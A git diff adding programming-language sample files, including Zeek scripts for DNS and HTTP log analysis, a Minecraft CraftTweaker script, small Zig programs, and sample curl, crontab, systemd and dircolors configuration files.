+hook DNS::do_reply(c: connection, msg: dns_msg, ans: dns_answer, reply: string) &priority=5
+	{
+	if ( msg$opcode != 0 )
+		# Currently only standard queries are tracked.
+		return;
+
+	if ( ! msg$QR )
+		# This is weird: the inquirer must also be providing answers in
+		# the request, which is not what we want to track.
+		return;
+
+	if ( ans$answer_type == DNS_ANS )
+		{
+		if ( ! c$dns?$query )
+			c$dns$query = ans$query;
+
+		c$dns$AA    = msg$AA;
+		c$dns$RA    = msg$RA;
+
+		if ( ! c$dns?$rtt )
+			{
+			c$dns$rtt = network_time() - c$dns$ts;
+			# This could mean that only a reply was seen since 
+			# we assume there must be some passage of time between
+			# request and response.
+			if ( c$dns$rtt == 0secs )
+				delete c$dns$rtt;
+			}
+
+		if ( reply != "" )
+			{
+			if ( ! c$dns?$answers )
+				c$dns$answers = vector();
+			c$dns$answers += reply;
+
+			if ( ! c$dns?$TTLs )
+				c$dns$TTLs = vector();
+			c$dns$TTLs += ans$TTL;
+			}
+		}
+	}
+
+event dns_end(c: connection, msg: dns_msg) &priority=5
+	{
+	if ( ! c?$dns )
+		return;
+
+	if ( msg$QR )
+		c$dns$saw_reply = T;
+	else
+		c$dns$saw_query = T;
+	}
+
+event dns_end(c: connection, msg: dns_msg) &priority=-5
+	{
+	if ( c?$dns && c$dns$saw_reply && c$dns$saw_query )
+		{
+		Log::write(DNS::LOG, c$dns);
+		delete c$dns;
+		}
+	}
+
+event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) &priority=5
+	{
+	if ( msg$opcode != 0 )
+		# Currently only standard queries are tracked.
+		return;
+
+	c$dns$RD          = msg$RD;
+	c$dns$TC          = msg$TC;
+	c$dns$qclass      = qclass;
+	c$dns$qclass_name = classes[qclass];
+	c$dns$qtype       = qtype;
+	c$dns$qtype_name  = query_types[qtype];
+	c$dns$Z           = msg$Z;
+
+	# Decode netbios name queries
+	# Note: I'm ignoring the name type for now.  Not sure if this should be
+	#       worked into the query/response in some fashion.
+	if ( c$id$resp_p == 137/udp )
+		{
+		query = decode_netbios_name(query);
+		if ( c$dns$qtype_name == "SRV" )
+			{
+			# The SRV RFC used the ID used for NetBios Status RRs.
+			# So if this is NetBios Name Service we name it correctly.
+			c$dns$qtype_name = "NBSTAT";
+			}
+		}
+	c$dns$query = query;
+	}
+
+
+event dns_unknown_reply(c: connection, msg: dns_msg, ans: dns_answer) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, fmt("<unknown type=%s>", ans$qtype));
+	}
+
+event dns_A_reply(c: connection, msg: dns_msg, ans: dns_answer, a: addr) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, fmt("%s", a));
+	}
+
+event dns_TXT_reply(c: connection, msg: dns_msg, ans: dns_answer, strs: string_vec) &priority=5
+	{
+	local txt_strings: string = "";
+
+	for ( i in strs )
+		{
+		if ( i > 0 )
+			txt_strings += " ";
+
+		txt_strings += fmt("TXT %d %s", |strs[i]|, strs[i]);
+		}
+
+	hook DNS::do_reply(c, msg, ans, txt_strings);
+	}
+
+event dns_AAAA_reply(c: connection, msg: dns_msg, ans: dns_answer, a: addr) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, fmt("%s", a));
+	}
+
+event dns_A6_reply(c: connection, msg: dns_msg, ans: dns_answer, a: addr) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, fmt("%s", a));
+	}
+
+event dns_NS_reply(c: connection, msg: dns_msg, ans: dns_answer, name: string) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, name);
+	}
+
+event dns_CNAME_reply(c: connection, msg: dns_msg, ans: dns_answer, name: string) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, name);
+	}
+
+event dns_MX_reply(c: connection, msg: dns_msg, ans: dns_answer, name: string,
+                   preference: count) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, name);
+	}
+
+event dns_PTR_reply(c: connection, msg: dns_msg, ans: dns_answer, name: string) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, name);
+	}
+
+event dns_SOA_reply(c: connection, msg: dns_msg, ans: dns_answer, soa: dns_soa) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, soa$mname);
+	}
+
+event dns_WKS_reply(c: connection, msg: dns_msg, ans: dns_answer) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, "");
+	}
+
+event dns_SRV_reply(c: connection, msg: dns_msg, ans: dns_answer, target: string, priority: count, weight: count, p: count) &priority=5
+	{
+	hook DNS::do_reply(c, msg, ans, target);
+	}
+
+# TODO: figure out how to handle these
+#event dns_EDNS(c: connection, msg: dns_msg, ans: dns_answer)
+#	{
+#
+#	}
+#
+#event dns_EDNS_addl(c: connection, msg: dns_msg, ans: dns_edns_additional)
+#	{
+#
+#	}
+#
+#event dns_TSIG_addl(c: connection, msg: dns_msg, ans: dns_tsig_additional)
+#	{
+#
+#	}
+
+event dns_rejected(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) &priority=5
+	{
+	if ( c?$dns )
+		c$dns$rejected = T;
+	}
+
+event connection_state_remove(c: connection) &priority=-5
+	{
+	if ( ! c?$dns_state )
+		return;
+
+	# If Bro is expiring state, we should go ahead and log all unmatched
+	# queries and replies now.
+	log_unmatched_msgs(c$dns_state$pending_queries);
+	log_unmatched_msgs(c$dns_state$pending_replies);
+	}
diff --git a/samples/Zeek/main.zeek b/samples/Zeek/main.zeek
new file mode 100644
index 0000000000..ef0561efb4
--- /dev/null
+++ b/samples/Zeek/main.zeek
@@ -0,0 +1,337 @@
+##! Implements base functionality for HTTP analysis.  The logging model is
+##! to log request/response pairs and all relevant metadata together in
+##! a single record.
+
+@load base/utils/numbers
+@load base/utils/files
+@load base/frameworks/tunnels
+
+module HTTP;
+
+export {
+	redef enum Log::ID += { LOG };
+
+	## Indicate a type of attack or compromise in the record to be logged.
+	type Tags: enum {
+		## Placeholder.
+		EMPTY
+	};
+
+	## This setting changes if passwords used in Basic-Auth are captured or
+	## not.
+	option default_capture_password = F;
+
+	## The record type which contains the fields of the HTTP log.
+	type Info: record {
+		## Timestamp for when the request happened.
+		ts:                      time      &log;
+		## Unique ID for the connection.
+		uid:                     string    &log;
+		## The connection's 4-tuple of endpoint addresses/ports.
+		id:                      conn_id   &log;
+		## Represents the pipelined depth into the connection of this
+		## request/response transaction.
+		trans_depth:             count     &log;
+		## Verb used in the HTTP request (GET, POST, HEAD, etc.).
+		method:                  string    &log &optional;
+		## Value of the HOST header.
+		host:                    string    &log &optional;
+		## URI used in the request.
+		uri:                     string    &log &optional;
+		## Value of the "referer" header.  The comment is deliberately
+		## misspelled like the standard declares, but the name used here
+		## is "referrer" spelled correctly.
+		referrer:                string    &log &optional;
+		## Value of the version portion of the request.
+		version:		string	   &log &optional;
+		## Value of the User-Agent header from the client.
+		user_agent:              string    &log &optional;
+		## Value of the Origin header from the client.
+		origin:                  string    &log &optional;
+		## Actual uncompressed content size of the data transferred from
+		## the client.
+		request_body_len:        count     &log &default=0;
+		## Actual uncompressed content size of the data transferred from
+		## the server.
+		response_body_len:       count     &log &default=0;
+		## Status code returned by the server.
+		status_code:             count     &log &optional;
+		## Status message returned by the server.
+		status_msg:              string    &log &optional;
+		## Last seen 1xx informational reply code returned by the server.
+		info_code:               count     &log &optional;
+		## Last seen 1xx informational reply message returned by the server.
+		info_msg:                string    &log &optional;
+		## A set of indicators of various attributes discovered and
+		## related to a particular request/response pair.
+		tags:                    set[Tags] &log;
+
+		## Username if basic-auth is performed for the request.
+		username:                string    &log &optional;
+		## Password if basic-auth is performed for the request.
+		password:                string    &log &optional;
+
+		## Determines if the password will be captured for this request.
+		capture_password:        bool      &default=default_capture_password;
+
+		## All of the headers that may indicate if the request was proxied.
+		proxied:                 set[string] &log &optional;
+
+		## Indicates if this request can assume 206 partial content in
+		## response.
+		range_request:           bool      &default=F;
+	};
+
+	## Structure to maintain state for an HTTP connection with multiple
+	## requests and responses.
+	type State: record {
+		## Pending requests.
+		pending:          table[count] of Info;
+		## Current request in the pending queue.
+		current_request:  count                &default=0;
+		## Current response in the pending queue.
+		current_response: count                &default=0;
+		## Track the current deepest transaction.
+		## This is meant to cope with missing requests
+		## and responses.
+		trans_depth:      count                &default=0;
+	};
+
+	## A list of HTTP headers typically used to indicate proxied requests.
+	option proxy_headers: set[string] = {
+		"FORWARDED",
+		"X-FORWARDED-FOR",
+		"X-FORWARDED-FROM",
+		"CLIENT-IP",
+		"VIA",
+		"XROXY-CONNECTION",
+		"PROXY-CONNECTION",
+	};
+
+	## A list of HTTP methods. Other methods will generate a weird. Note
+	## that the HTTP analyzer will only accept methods consisting solely
+	## of letters ``[A-Za-z]``.
+	option http_methods: set[string] = {
+		"GET", "POST", "HEAD", "OPTIONS",
+		"PUT", "DELETE", "TRACE", "CONNECT",
+		# HTTP methods for distributed authoring:
+		"PROPFIND", "PROPPATCH", "MKCOL",
+		"COPY", "MOVE", "LOCK", "UNLOCK",
+		"POLL", "REPORT", "SUBSCRIBE", "BMOVE",
+		"SEARCH"
+	};
+
+	## Event that can be handled to access the HTTP record as it is sent on
+	## to the logging framework.
+	global log_http: event(rec: Info);
+}
+
+# Add the http state tracking fields to the connection record.
+redef record connection += {
+	http:        Info  &optional;
+	http_state:  State &optional;
+};
+
+const ports = {
+	80/tcp, 81/tcp, 631/tcp, 1080/tcp, 3128/tcp,
+	8000/tcp, 8080/tcp, 8888/tcp,
+};
+redef likely_server_ports += { ports };
+
+# Initialize the HTTP logging stream and ports.
+event zeek_init() &priority=5
+	{
+	Log::create_stream(HTTP::LOG, [$columns=Info, $ev=log_http, $path="http"]);
+	Analyzer::register_for_ports(Analyzer::ANALYZER_HTTP, ports);
+	}
+
+function code_in_range(c: count, min: count, max: count) : bool
+	{
+	return c >= min && c <= max;
+	}
+
+function new_http_session(c: connection): Info
+	{
+	local tmp: Info;
+	tmp$ts=network_time();
+	tmp$uid=c$uid;
+	tmp$id=c$id;
+	tmp$trans_depth = ++c$http_state$trans_depth;
+	return tmp;
+	}
+
+function set_state(c: connection, is_orig: bool)
+	{
+	if ( ! c?$http_state )
+		{
+		local s: State;
+		c$http_state = s;
+		}
+
+	# These deal with new requests and responses.
+	if ( is_orig )
+		{
+		if ( c$http_state$current_request !in c$http_state$pending )
+			c$http_state$pending[c$http_state$current_request] = new_http_session(c);
+
+		c$http = c$http_state$pending[c$http_state$current_request];
+		}
+	else
+		{
+		if ( c$http_state$current_response !in c$http_state$pending )
+			c$http_state$pending[c$http_state$current_response] = new_http_session(c);
+
+		c$http = c$http_state$pending[c$http_state$current_response];
+		}
+	}
+
+event http_request(c: connection, method: string, original_URI: string,
+                   unescaped_URI: string, version: string) &priority=5
+	{
+	if ( ! c?$http_state )
+		{
+		local s: State;
+		c$http_state = s;
+		}
+
+	++c$http_state$current_request;
+	set_state(c, T);
+
+	c$http$method = method;
+	c$http$uri = unescaped_URI;
+
+	if ( method !in http_methods )
+		Reporter::conn_weird("unknown_HTTP_method", c, method);
+	}
+
+event http_reply(c: connection, version: string, code: count, reason: string) &priority=5
+	{
+	if ( ! c?$http_state )
+		{
+		local s: State;
+		c$http_state = s;
+		}
+
+	# If the last response was an informational 1xx, we're still expecting
+	# the real response to the request, so don't create a new Info record yet.
+	if ( c$http_state$current_response !in c$http_state$pending ||
+	     (c$http_state$pending[c$http_state$current_response]?$status_code &&
+	       ! code_in_range(c$http_state$pending[c$http_state$current_response]$status_code, 100, 199)) )
+		{
+		++c$http_state$current_response;
+		}
+	set_state(c, F);
+
+	c$http$status_code = code;
+	c$http$status_msg = reason;
+	c$http$version = version;
+
+	if ( code_in_range(code, 100, 199) )
+		{
+		c$http$info_code = code;
+		c$http$info_msg = reason;
+		}
+
+	if ( c$http?$method && c$http$method == "CONNECT" && code == 200 )
+		{
+		# Copy this conn_id and set the orig_p to zero because in the case of CONNECT
+		# proxies there will be potentially many source ports since a new proxy connection
+		# is established for each proxied connection.  We treat this as a singular
+		# "tunnel".
+		local tid = copy(c$id);
+		tid$orig_p = 0/tcp;
+		Tunnel::register([$cid=tid, $tunnel_type=Tunnel::HTTP]);
+		}
+	}
+
+event http_header(c: connection, is_orig: bool, name: string, value: string) &priority=5
+	{
+	set_state(c, is_orig);
+
+	if ( is_orig ) # client headers
+		{
+		if ( name == "REFERER" )
+			c$http$referrer = value;
+
+		else if ( name == "HOST" )
+			# The split is done to remove the occasional port value that shows up here.
+			c$http$host = split_string1(value, /:/)[0];
+
+		else if ( name == "RANGE" )
+			c$http$range_request = T;
+
+		else if ( name == "ORIGIN" )
+			c$http$origin = value;
+
+		else if ( name == "USER-AGENT" )
+			c$http$user_agent = value;
+
+		else if ( name in proxy_headers )
+				{
+				if ( ! c$http?$proxied )
+					c$http$proxied = set();
+				add c$http$proxied[fmt("%s -> %s", name, value)];
+				}
+
+		else if ( name == "AUTHORIZATION" || name == "PROXY-AUTHORIZATION" )
+			{
+			if ( /^[bB][aA][sS][iI][cC] / in value )
+				{
+				local userpass = decode_base64_conn(c$id, sub(value, /[bB][aA][sS][iI][cC][[:blank:]]/, ""));
+				local up = split_string(userpass, /:/);
+				if ( |up| >= 2 )
+					{
+					c$http$username = up[0];
+					if ( c$http$capture_password )
+						c$http$password = up[1];
+					}
+				else
+					{
+					c$http$username = fmt("<problem-decoding> (%s)", value);
+					if ( c$http$capture_password )
+						c$http$password = userpass;
+					}
+				}
+			}
+		}
+	}
+
+event http_message_done(c: connection, is_orig: bool, stat: http_message_stat) &priority = 5
+	{
+	set_state(c, is_orig);
+
+	if ( is_orig )
+		c$http$request_body_len = stat$body_length;
+	else
+		c$http$response_body_len = stat$body_length;
+	}
+
+event http_message_done(c: connection, is_orig: bool, stat: http_message_stat) &priority = -5
+	{
+	# The reply body is done so we're ready to log.
+	if ( ! is_orig )
+		{
+		# If the response was an informational 1xx, we're still expecting
+		# the real response later, so we'll continue using the same record.
+		if ( ! (c$http?$status_code && code_in_range(c$http$status_code, 100, 199)) )
+			{
+			Log::write(HTTP::LOG, c$http);
+			delete c$http_state$pending[c$http_state$current_response];
+			}
+		}
+	}
+
+event connection_state_remove(c: connection) &priority=-5
+	{
+	# Flush all pending but incomplete request/response pairs.
+	if ( c?$http_state )
+		{
+		for ( r, info in c$http_state$pending )
+			{
+			# We don't use pending elements at index 0.
+			if ( r == 0 ) next;
+			Log::write(HTTP::LOG, info);
+			}
+		}
+	}
+
diff --git a/samples/ZenScript/sample.zs b/samples/ZenScript/sample.zs
new file mode 100644
index 0000000000..b398a1a354
--- /dev/null
+++ b/samples/ZenScript/sample.zs
@@ -0,0 +1,143 @@
+#loader crafttweaker
+#priority 100
+
+import crafttweaker.event.CommandEvent;
+import crafttweaker.player.IPlayer;
+
+/* 
+ * We want to register a command handler that prints a message to the player's chat if they execue the "/ct syntax" command.
+ * This handler then also gives them Regeneration III for 21 seconds.
+ * Command handlers are functions with a specific event type that needs to be provided.
+ * Here we use the commandEvent, hence the "as CommandEvent".
+ * To actually subscribe to the commandEvents we use "events.onCommand" and supply the command handler.
+ * Important, the CommandEvent type needs to be imported, otherwise we'd have to use "as crafttweaker.event.CommandEvent"
+ */
+events.onCommand(function(event as CommandEvent) {
+    val command = event.command;
+
+    if(isNull(command) || (command.name != "crafttweaker") || (event.parameters.length == 0) || (event.parameters[0] != "syntax")) {
+        return;
+    }
+
+    //Checks if the one sending the command is a player
+    if(event.commandSender instanceof IPlayer) {
+        val player as IPlayer = event.commandSender;
+        
+        player.sendChat("You executed /ct syntax");
+
+        #Applies a regeneration III effect for 22 seconds (21 * 20 ticks) to the player.
+        #You could also directly write 420, but this way may be clearer for novices.
+        player.addPotionEffect(<potion:minecraft:regeneration>.makePotionEffect(21 * 20, 3));
+    }
+});
+
+
+recipes.addShapedRecipe("RandomName", <minecraft:diamond>, [[<minecraft:wool:*>], [<minecraft:diamond_sword>.anyDamage()], [<ore:ingotIron>]]);
+
+function variance(inputNumbers as double[]) as void {
+    if(inputNumbers.length == 0) {
+        return;
+    }
+
+
+    var sum = 0.0D;
+
+    for number in inputNumbers {
+        sum += number;
+    }
+
+    val average = sum / inputNumbers.length;
+
+
+
+    var varianceSum = 0.0D;
+
+    for number in inputNumbers {
+        varianceSum += (number - average) * (number - average);
+    }
+
+    val variance = varianceSum / (inputNumbers.length - 1);
+
+    print("Average: " ~ average);
+    print("Variance: " ~ variance);
+}
+
+print("Testing Variance, expecting Avg 2.0 and Variance 1.0");
+variance([1.0, 2.0, 3.0]); 
+
+function fibonacci(amount as int) as long[] {
+    var fibonacci = [1, 1] as long[];
+
+    for n in 2 .. amount {
+        fibonacci += fibonacci[n - 1] + fibonacci[n - 2];
+    }
+
+    return fibonacci;
+}
+
+print("Testing Fibonacci");
+for fib in fibonacci(10) { //1,1,2,3,5,8,13,21,34,55
+    print(fib);
+}
+
+function bubblesort(list as int[]) as int[] {
+    var manipulated = true;
+
+    while(manipulated) {
+    	manipulated = false;
+        for i in 1 .. list.length {
+            if(list[i - 1] > list[i]) {
+                manipulated = true;
+                //Swap
+                val temp = list[i - 1];
+                list[i - 1] = list[i];
+                list[i] = temp;
+            }
+        }
+    }
+
+    return list;
+}
+
+
+print("Checking bubblesort");
+
+for i in bubblesort([5, 3, 1, 2]) {
+	print(i);
+}
+
+
+static plankLogPairs as IIngredient[][IItemStack] = {
+	<abyssalcraft:dltplank:0>: [
+		<abyssalcraft:dltlog:0>
+	],
+	<abyssalcraft:dreadplanks:0>: [
+		<abyssalcraft:dreadlog:0>
+	],
+	<betterwithaddons:planks_mulberry:0>: [
+		<betterwithaddons:log_mulberry:0>
+	],
+	<betterwithaddons:planks_sakura:0>: [
+		<betterwithaddons:log_sakura:0>
+	],
+	<minecraft:planks:1>: [
+		<thebetweenlands:log_sap:0>,
+		<minecraft:log:1>,
+		<primal:logs_stripped:1>,
+		<twilightforest:magic_log:0>,
+		<twilightforest:twilight_log:1>,
+		<twilightforest:twilight_log:3>
+	]
+};
+
+/*
+	This array listing should only contain logs which don't have planks from the mod or don't make sense to convert to Vanilla Planks.
+
+	This will then remove the log from processig recipes (in higher tech) to not turn out as chopping blocks.
+*/
+static logsToRemove as IItemStack[] = [
+	<natura:redwood_logs:2>,
+	<natura:redwood_logs:0>,
+	<thebetweenlands:log_nibbletwig:0>,
+	<twilightforest:magic_log:1>
+];
diff --git a/samples/Zig/build.zig.zon b/samples/Zig/build.zig.zon
new file mode 100644
index 0000000000..f105ca2bad
--- /dev/null
+++ b/samples/Zig/build.zig.zon
@@ -0,0 +1,6 @@
+.{
+    .name = "envy",
+    .version = "0.2.1",
+    .minimum_zig_version = "0.12.0",
+    .paths = .{""},
+}
diff --git a/samples/Zig/cat.zig b/samples/Zig/cat.zig
new file mode 100644
index 0000000000..7255217831
--- /dev/null
+++ b/samples/Zig/cat.zig
@@ -0,0 +1,69 @@
+const std = @import("std");
+const io = std.io;
+const mem = std.mem;
+const os = std.os;
+const warn = std.debug.warn;
+const allocator = std.debug.global_allocator;
+
+pub fn main() !void {
+    var args_it = os.args();
+    const exe = try unwrapArg(args_it.next(allocator).?);
+    var catted_anything = false;
+    var stdout_file = try io.getStdOut();
+
+    while (args_it.next(allocator)) |arg_or_err| {
+        const arg = try unwrapArg(arg_or_err);
+        if (mem.eql(u8, arg, "-")) {
+            catted_anything = true;
+            var stdin_file = try io.getStdIn();
+            try cat_file(&stdout_file, &stdin_file);
+        } else if (arg[0] == '-') {
+            return usage(exe);
+        } else {
+            var file = os.File.openRead(arg) catch |err| {
+                warn("Unable to open file: {}\n", @errorName(err));
+                return err;
+            };
+            defer file.close();
+
+            catted_anything = true;
+            try cat_file(&stdout_file, &file);
+        }
+    }
+    if (!catted_anything) {
+        var stdin_file = try io.getStdIn();
+        try cat_file(&stdout_file, &stdin_file);
+    }
+}
+
+fn usage(exe: []const u8) !void {
+    warn("Usage: {} [FILE]...\n", exe);
+    return error.Invalid;
+}
+
+fn cat_file(stdout: *os.File, file: *os.File) !void {
+    var buf: [1024 * 4]u8 = undefined;
+
+    while (true) {
+        const bytes_read = file.read(buf[0..]) catch |err| {
+            warn("Unable to read from stream: {}\n", @errorName(err));
+            return err;
+        };
+
+        if (bytes_read == 0) {
+            break;
+        }
+
+        stdout.write(buf[0..bytes_read]) catch |err| {
+            warn("Unable to write to stdout: {}\n", @errorName(err));
+            return err;
+        };
+    }
+}
+
+fn unwrapArg(arg: anyerror![]u8) ![]u8 {
+    return arg catch |err| {
+        warn("Unable to parse command line: {}\n", err);
+        return err;
+    };
+}
diff --git a/samples/Zig/guess_number.zig b/samples/Zig/guess_number.zig
new file mode 100644
index 0000000000..b4eb1c292a
--- /dev/null
+++ b/samples/Zig/guess_number.zig
@@ -0,0 +1,48 @@
+const builtin = @import("builtin");
+const std = @import("std");
+const io = std.io;
+const fmt = std.fmt;
+const os = std.os;
+
+pub fn main() !void {
+    var stdout_file = try io.getStdOut();
+    const stdout = &stdout_file.outStream().stream;
+
+    try stdout.print("Welcome to the Guess Number Game in Zig.\n");
+
+    var seed_bytes: [@sizeOf(u64)]u8 = undefined;
+    os.getRandomBytes(seed_bytes[0..]) catch |err| {
+        std.debug.warn("unable to seed random number generator: {}", err);
+        return err;
+    };
+    const seed = std.mem.readIntNative(u64, &seed_bytes);
+    var prng = std.rand.DefaultPrng.init(seed);
+
+    const answer = prng.random.range(u8, 0, 100) + 1;
+
+    while (true) {
+        try stdout.print("\nGuess a number between 1 and 100: ");
+        var line_buf: [20]u8 = undefined;
+
+        const line = io.readLineSlice(line_buf[0..]) catch |err| switch (err) {
+            error.OutOfMemory => {
+                try stdout.print("Input too long.\n");
+                continue;
+            },
+            else => return err,
+        };
+
+        const guess = fmt.parseUnsigned(u8, line, 10) catch {
+            try stdout.print("Invalid number.\n");
+            continue;
+        };
+        if (guess > answer) {
+            try stdout.print("Guess lower.\n");
+        } else if (guess < answer) {
+            try stdout.print("Guess higher.\n");
+        } else {
+            try stdout.print("You win!\n");
+            return;
+        }
+    }
+}
diff --git a/samples/Zig/hello.zig b/samples/Zig/hello.zig
new file mode 100644
index 0000000000..8e65e06a96
--- /dev/null
+++ b/samples/Zig/hello.zig
@@ -0,0 +1,9 @@
+const std = @import("std");
+
+pub fn main() !void {
+    // If this program is run without stdout attached, exit with an error.
+    var stdout_file = try std.io.getStdOut();
+    // If this program encounters pipe failure when printing to stdout, exit
+    // with an error.
+    try stdout_file.write("Hello, world!\n");
+}
diff --git a/samples/cURL Config/filenames/.curlrc b/samples/cURL Config/filenames/.curlrc
new file mode 100644
index 0000000000..ee91109602
--- /dev/null
+++ b/samples/cURL Config/filenames/.curlrc	
@@ -0,0 +1,12 @@
+# Tidier feedback
+--fail
+--progress-bar
+
+# Disguise as IE 9 on Windows 7
+user-agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
+
+# Retain previous URL when following redirects
+referer = ";auto"
+
+# Wait 60 seconds before timing out
+connect-timeout = 60
diff --git a/samples/crontab/filenames/crontab b/samples/crontab/filenames/crontab
new file mode 100644
index 0000000000..f49ec0c7ef
--- /dev/null
+++ b/samples/crontab/filenames/crontab
@@ -0,0 +1,7 @@
+# m h  dom mon dow   command
+  0 22 *   *   1,3   /usr/local/bin/whistleblower > /opt/crontab.log 2>&1
+  0 17 *   *   2,4   /usr/local/bin/whistleblower > /opt/crontab.log 2>&1
+  0 13 *   *   5     /usr/local/bin/whistleblower > /opt/crontab.log 2>&1
+  0 1  *   *   1     /usr/local/bin/update > /opt/crontab.log 2>&1
+  0 4  *   *   *     /usr/local/bin/cleanup > /opt/crontab.log 2>&1
+  0 4  *   *   1     /usr/local/bin/receipts > /opt/crontab.log 2>&1
diff --git a/samples/desktop/nebula.service b/samples/desktop/nebula.service
new file mode 100644
index 0000000000..19f39000d6
--- /dev/null
+++ b/samples/desktop/nebula.service
@@ -0,0 +1,14 @@
+[Unit]
+Description=nebula
+Wants=basic.target
+After=basic.target network.target
+Before=sshd.service
+
+[Service]
+SyslogIdentifier=nebula
+ExecReload=/bin/kill -HUP $MAINPID
+ExecStart=/usr/local/bin/nebula -config /etc/nebula/config.yml
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
diff --git a/samples/dircolors/sample.dircolors b/samples/dircolors/sample.dircolors
new file mode 100644
index 0000000000..75144ad83f
--- /dev/null
+++ b/samples/dircolors/sample.dircolors
@@ -0,0 +1,208 @@
+# List of TERM entries for each termtype that is colorizable
+TERM gnome-256color
+TERM konsole-256color
+TERM putty-256color
+TERM rxvt-256color
+TERM rxvt-unicode256
+TERM screen-256color
+TERM xterm-256color
+
+# Attribute codes:
+# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
+#
+# Text color (8 colors mode) codes:
+# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
+#
+# Background color (8 colors mode) codes:
+# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
+#
+# Text color (256 colors mode) codes:
+# 38;5;$n, where $n is a number between 0 and 255. (0 has no color)
+# You can use the following command to find one you like:
+# for ((n=0;++n<256;)) { printf "\033[38;5;${n}m$n\033[000m "; }
+#
+# Background color (256 colors mode) codes:
+# 38;5;$n, where $n is a number between 0 and 255. (0 has no color)
+# You can use the following command to find one you like:
+# for ((n=0;++n<256;)) { printf "\033[48;5;${n}m$n\033[000m "; }
+
+# File types {{{
+BLK                   48;5;232;38;5;11  # block device driver
+CAPABILITY            48;5;196;38;5;226 # file with capability
+CHR                   48;5;232;38;5;3   # character device driver
+DIR                   38;5;27           # directory
+DOOR                  38;5;5            # door
+EXEC                  38;5;34           # file with execute permission (+x)
+FIFO                  40;38;5;11        # pipe
+FILE                  00                # normal file, use no color at all
+LINK                  38;5;51           # symbolic link
+MISSING               48;5;232;38;5;15  # file pointed to by an orphan link
+MULTIHARDLINK         44;38;5;15        # regular file with more than one link
+NORMAL                00                # global default, no color code at all
+ORPHAN                48;5;232;38;5;9   # symlink to nonexistent file, or non-statable file
+OTHER_WRITABLE        48;5;10;38;5;21   # dir that is other-writable (o+w) and not sticky
+RESET                 0                 # reset to "normal" color
+SETGID                48;5;11;38;5;16   # file that is setgid (g+s)
+SETUID                48;5;196;38;5;15  # file that is setuid (u+s)
+SOCK                  38;5;13           # socket
+STICKY                48;5;21;38;5;15   # dir with the sticky bit set (+t) and not other-writable
+STICKY_OTHER_WRITABLE 48;5;10;38;5;16   # dir that is sticky and other-writable (+t,o+w)
+# }}}
+
+# File extensions {{{
+# windows files (green) {{{
+.bat  38;5;36
+.BAT  38;5;36
+.btm  38;5;36
+.BTM  38;5;36
+.cmd  38;5;36
+.CMD  38;5;36
+.com  38;5;36
+.COM  38;5;36
+.exe  38;5;36
+.EXE  38;5;36
+.lnk  38;5;36
+.LNK  38;5;36
+# }}}
+
+ # archives or compressed (gray) {{{
+.7z   38;5;247
+.ace  38;5;247
+.apk  38;5;247
+.arj  38;5;247
+.br   38;5;247
+.bz   38;5;247
+.bz2  38;5;247
+.cb7  38;5;247
+.cbr  38;5;247
+.cbz  38;5;247
+.cbt  38;5;247
+.cpio 38;5;247
+.deb  38;5;247
+.dz   38;5;247
+.egg  38;5;247
+.gz   38;5;247
+.jar  38;5;247
+.kra  38;5;247
+.lz   38;5;247
+.lzh  38;5;247
+.lzma 38;5;247
+.ora  38;5;247
+.piz  38;5;247
+.rar  38;5;247
+.rpm  38;5;247
+.rz   38;5;247
+.tar  38;5;247
+.taz  38;5;247
+.tbz  38;5;247
+.tbz2 38;5;247
+.tgz  38;5;247
+.tlz  38;5;247
+.txz  38;5;247
+.tz   38;5;247
+.whl  38;5;247
+.xz   38;5;247
+.Z    38;5;247
+.z    38;5;247
+.zip  38;5;247
+.zoo  38;5;247
+# }}}
+
+# image formats (magenta) {{{
+.apng 38;5;13
+.avif 38;5;13
+.bmp  38;5;13
+.bpg  38;5;13
+.eps  38;5;13
+.exr  38;5;13
+.flif 38;5;13
+.gif  38;5;13
+.heic 38;5;13
+.heif 38;5;13
+.ico  38;5;13
+.icon 38;5;13
+.j2k  38;5;13
+.jp2  38;5;13
+.jpeg 38;5;13
+.jpf  38;5;13
+.jpg  38;5;13
+.jpm  38;5;13
+.jpx  38;5;13
+.mng  38;5;13
+.pbm  38;5;13
+.pcx  38;5;13
+.pgm  38;5;13
+.png  38;5;13
+.psd  38;5;13
+.ppm  38;5;13
+.svg  38;5;13
+.svgz 38;5;13
+.tga  38;5;13
+.tif  38;5;13
+.tiff 38;5;13
+.webp 38;5;13
+.xbm  38;5;13
+.xpm  38;5;13
+# }}}
+
+# video formats (orange) {{{
+.anx  38;5;202
+.asf  38;5;202
+.avi  38;5;202
+.axv  38;5;202
+.bik  38;5;202
+.bk2  38;5;202
+.cgm  38;5;202
+.dl   38;5;202
+.drc  38;5;202
+.emf  38;5;202
+.flc  38;5;202
+.fli  38;5;202
+.flv  38;5;202
+.gl   38;5;202
+.hevc 38;5;202
+.m2v  38;5;202
+.m4v  38;5;202
+.mkv  38;5;202
+.mov  38;5;202
+.mp4  38;5;202
+.mp4v 38;5;202
+.mpeg 38;5;202
+.mpg  38;5;202
+.nuv  38;5;202
+.ogm  38;5;202
+.ogv  38;5;202
+.ogx  38;5;202
+.qt   38;5;202
+.rm   38;5;202
+.rmvb 38;5;202
+.vob  38;5;202
+.webm 38;5;202
+.wmv  38;5;202
+.xcf  38;5;202
+.xwd  38;5;202
+.yuv  38;5;202
+# }}}
+
+# audio formats (cyan) {{{
+.aac  38;5;45
+.ac3  38;5;45
+.au   38;5;45
+.axa  38;5;45
+.flac 38;5;45
+.mid  38;5;45
+.midi 38;5;45
+.mka  38;5;45
+.mp3  38;5;45
+.mpc  38;5;45
+.oga  38;5;45
+.ogg  38;5;45
